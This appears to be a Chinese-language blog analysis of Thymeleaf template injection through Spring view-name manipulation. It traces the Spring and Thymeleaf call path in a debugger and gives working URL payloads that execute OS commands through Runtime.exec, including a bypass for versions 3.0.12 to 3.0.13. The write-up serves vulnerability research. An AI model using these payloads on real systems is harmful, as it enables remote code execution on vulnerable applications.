环境搭建
下载运行
https://github.com/veracode-research/spring-view-manipulation/
Thymeleaf 版本 3.0.11
情景一
payload
1 | /path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__:: |
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点调试,跟到org.springframework.web.servlet.DispatcherServlet#processDispatchResult
会将传入的ModleandView对象传进render方法,然后进入到renderFragment方法
在该方法中会判断viewTemplateName中是否存在::,如果存在会执行到
1 | fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); |
跟进去看一下,来到
org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)
接着会执行StandardExpressionPreprocessor.preprocess(context, input),继续跟进到
org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess
首先要满足input(也就是模版路径)中有_,然后要满足下面的正则
接着会进入到
1 | Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED); |
继续跟进去
org.thymeleaf.standard.expression.Expression#execute(org.thymeleaf.context.IExpressionContext, org.thymeleaf.standard.expression.StandardExpressionExecutionContext)
该处会执行我们传入的表达式并返回结果
情景二
payload
1 | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::a.x |
处理流程和情景一大体一样,下面讨论下不一样的地方,首先访问的这个方法里没有返回值,也就是ModleandView对象应该是空的,但是为什么还能够利用呢?原因在于org.springframework.web.servlet.DispatcherServlet#doDispatch中存在着如下方法
1 | this.applyDefaultViewName(processedRequest, mv); |
跟进去
假如ModleandView对象是空的,则会将请求路径最后一位.
以及后面的内容删除,剩下的内容设置为defaultViewName, 接着就是和情景一一样向下的流程;
通过查看payload我们会发现与情景一不同的是payload末尾多了一个a.x
其中.x
是为了前面讲的删除不影响执行结果,那么a有什么作用呢,一路跟踪代码,定位到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression(org.thymeleaf.context.IExpressionContext, java.lang.String, boolean)中
改方法是由org.thymeleaf.standard.expression.StandardExpressionPreprocessor#preprocess 方法调用的(见调用栈)
在49行中还会执行一下StandardExpressionPreprocessor.preprocess(context, input),也就是会执行到org.thymeleaf.standard.expression.StandardExpressionParser#parseExpression,执行一次后会返回命令执行的结果
继续跟进去来到org.thymeleaf.standard.expression.FragmentExpression#parseFragmentExpressionContent
该处是在取::
后面的值,假如取到的值是空的就会返回null,也就不会正常回显执行命令的结果,所以需要a
来填充一下使其代码正常走下去。那么其实如果不加a也是可以正常执行代码的,只不过看不到回显而已
3.0.12-3.0.13通用payload
情景一是可以的
1 | __$%7b''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')%7d__:: |
情景二暂时还没有方法
记录
为什么会自动删除后缀
如图
看下为什么会把.bbb删除
在org.springframework.web.servlet.DispatcherServlet#doDispatch下断点
首先会执行到该方法中的
1 | this.applyDefaultViewName(processedRequest, mv); |
一路跟进去来到
org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#getViewName
1 | public String getViewName(HttpServletRequest request) { |
接着会进入到org.springframework.web.servlet.view.DefaultRequestToViewNameTranslator#transformPath
执行到StringUtils.stripFilenameExtension(path)
会把后缀删除